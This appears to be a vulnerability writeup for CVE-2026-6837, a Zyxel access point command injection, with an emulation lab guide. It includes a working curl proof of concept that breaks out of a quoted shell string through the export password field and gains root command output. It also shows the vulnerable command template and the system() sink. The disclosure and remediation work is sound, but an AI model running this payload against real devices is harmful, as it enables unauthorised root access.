August 16, 2026

CVE-2026-6837: Zyxel export-cgi command injection in the PKCS#12 export password + Full emulation guide

A post-authentication command-injection flaw in Zyxel certificate export handling let an administrative password field become a shell break. The local reverse work here is anchored on WAX650S V7.10(ABRM.4)C0, while Zyxel's August 4, 2026 advisory expanded the affected set to 18 AP models.

CVE-2026-6837 article image
Component/cgi-bin/export-cgi
Branchcategory=pkcs12
ImpactOS command execution as root
Affected models18 AP models
Lab status Fully emulated device path

The WAX650S path in this writeup was developed on a full user-space AArch64 rehost built from vendor firmware. The lighttpd and export-cgi lane was reached end-to-end without physical hardware.

Summary. The vulnerable path built a shell command using the certificate name and the export password, then passed the resulting string to system(). A double quote in arg1 closed the intended string early. The rest of the input became shell syntax.

At a glance

FieldValue
Product analyzed locallyZyxel WAX650S
Firmware analyzed locallyV7.10(ABRM.4)C0
Firmware SHA-256e0a93db912c0b7203e0eb899f07ddef99b62a82a27352477c0f85d761576b1e0
CWECWE-78
CVSS v3.17.2 High ยท AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Privileges requiredAdministrator session for the direct exploit path
Official fixed version for WAX650S7.12(ABRM.0)C0

What the proof looked like

The shortest reproduction is the one that matters:

curl -sk \
  -H 'Cookie: authtok=<admin_token>' \
  'https://[target]/cgi-bin/export-cgi?category=pkcs12&arg0=<certname>&arg1=x%22;id;echo%20COMMAND_INJECTION_CONFIRMED;#'

Observed response body:

uid=0 gid=0(root) groups=0(root)
COMMAND_INJECTION_CONFIRMED
Status: 500 Internal Server Error !

The command output comes back in-band over HTTP.

Why this happens

The reviewed command template was:

/bin/zysh -p 200 -e "configure terminal ca _export category local name %s password %s"

The sink was direct:

400dd0: bl  snprintf(cmd_buf, 4096, format_string, arg0, arg1)
400dd8: bl  unlink(tmp_path)
400de0: bl  system(cmd_buf)

A payload like x"; id; echo COMMAND_INJECTION_CONFIRMED; # turns the intended command into:

/bin/zysh -p 200 -e "configure terminal ca _export ... password x"; id; echo COMMAND_INJECTION_CONFIRMED; #

Once the quote closes, the remaining characters are shell syntax.

The way this was reached in the lab was straightforward once the core web lane was healthy: static reversing narrowed the sink to the PKCS#12 password builder, the emulated admin web handler replay isolated that branch, a semicolon-only control stayed low-signal, and the corrected quote-breaking payload survived real HTTP dispatch and returned the marker in the response body.

Scope and limits

In practice, that certificate prerequisite means the vulnerable branch becomes reachable after the device has a locally managed certificate object to export. It is not a default-on path for a completely untouched device, but it is a normal administrative workflow once certificate management is in use.

A semicolon-only payload did not reproduce the marker. The reliable trigger was quote-breaking input, exactly as the command template predicts.

Official affected scope

Zyxel's August 4, 2026 advisory lists 18 affected AP models for CVE-2026-6837:

NWA50AX, NWA50AX PRO, NWA55AXE, NWA55AX PRO, NWA55AX PTP, NWA90AX,
NWA90AX PRO, NWA110AX, NWA210AX, NWA220AX-6E, WAX300H, WAX510D,
WAX610D, WAX620D-6E, WAX630S, WAX640S-6E, WAX650S, WAX655E

Remediation direction

The fix is to stop building shell commands from untrusted certificate-export input. Passing structured arguments into a non-shell execution path is the clean answer. If a shell truly cannot be avoided, the code still has to enforce real argument separation instead of quoted string assembly.

Emulation lab

This path was developed entirely from emulation. The helpers below show what each stage was for, what it was built with, and what a quick run should look like.

For the broader rehosting path and deeper emulation notes, see the public Zyxel WAX650S research notebook.

extract_710ABRM4C0.sh

Built with Bash. Uses dumpimage, fdtget, ubireader_extract_images, and unsquashfs.

What it does. Splits the vendor FIT image, extracts the root UBI volume, and unpacks the SquashFS root filesystem.

./emulation/extract_710ABRM4C0.sh ./firmware.bin ./710ABRM4C0_extracted

Expected result: a populated bin_images/ tree, a rootfs/ directory, and terminal lines such as Firmware: and Rootfs extracted to:.

prepare_zyxel_runroot.py

Built with Python 3.

What it does. Normalizes the extracted firmware into a runnable runroot with the links, writable paths, and stub files the userland expects.

python3 ./emulation/prepare_zyxel_runroot.py \
  --src ./710ABRM4C0_extracted/rootfs \
  --dst ./runroot

Expected result: a ready runroot/ tree with Zyxel runtime directories, symlinks, and boot-time placeholders in place.

run_zyxel_lab.sh + zyxel_bwrap_env.sh

Built with Bash. Uses qemu-aarch64-static, bwrap, and curl.

What it does. Boots the rehosted AArch64 userland, bind-mounts the runtime view, and exposes status and health commands for the web lane.

./emulation/run_zyxel_lab.sh rebuild --phase core
./emulation/run_zyxel_lab.sh health --phase core

Expected result: the core lane reaches a healthy state and the lab leaves process and log state under .lab-state/ for lighttpd and related services.

seed_zyxel_ipc.py + UAM helpers

Built with Python 3. Shared helpers: uam_state.py, uam_unix_server.py, and uam_notify_server.py.

What it does. Seeds the SysV IPC objects and fake UAM sockets that the web stack expects before request handling works cleanly.

python3 ./emulation/seed_zyxel_ipc.py up
python3 ./emulation/uam_unix_server.py \
  --socket ./runroot/dev/user-request \
  --log ./live_artifacts/uam-user-request.log

Expected result: the IPC prerequisites exist, a UNIX socket appears under runroot/dev/, and request traces accumulate in the chosen log file.

run_admin_web_handler_focus.sh

Built with Bash and curl.

What it does. Replays the admin web-handler path until the vulnerable export-cgi PKCS#12 branch is exercised under the live HTTP seam.

./emulation/run_admin_web_handler_focus.sh exportcgi_focus

Expected result: a live_artifacts/exportcgi_focus/ directory containing headers, bodies, diffs, and the quote-breaking request case that returns the HTTP marker in-band.

Tools used

qemu-aarch64-static

Executed the Zyxel AArch64 userland directly from the extracted firmware tree.

bubblewrap

Provided the bind-mounted runtime view for /proc, /sys, device files, and emulated sockets.

curl

Drove the crafted HTTP requests and captured in-band proof from the live CGI path.

Python 3 and Bash

Powered the helper scripts used for runroot preparation, IPC seeding, runtime patching, and replay orchestration.

Firmware unpacking utilities

dumpimage, fdtget, ubireader_extract_images, and unsquashfs unpacked the vendor image into a reviewable root filesystem.

Timeline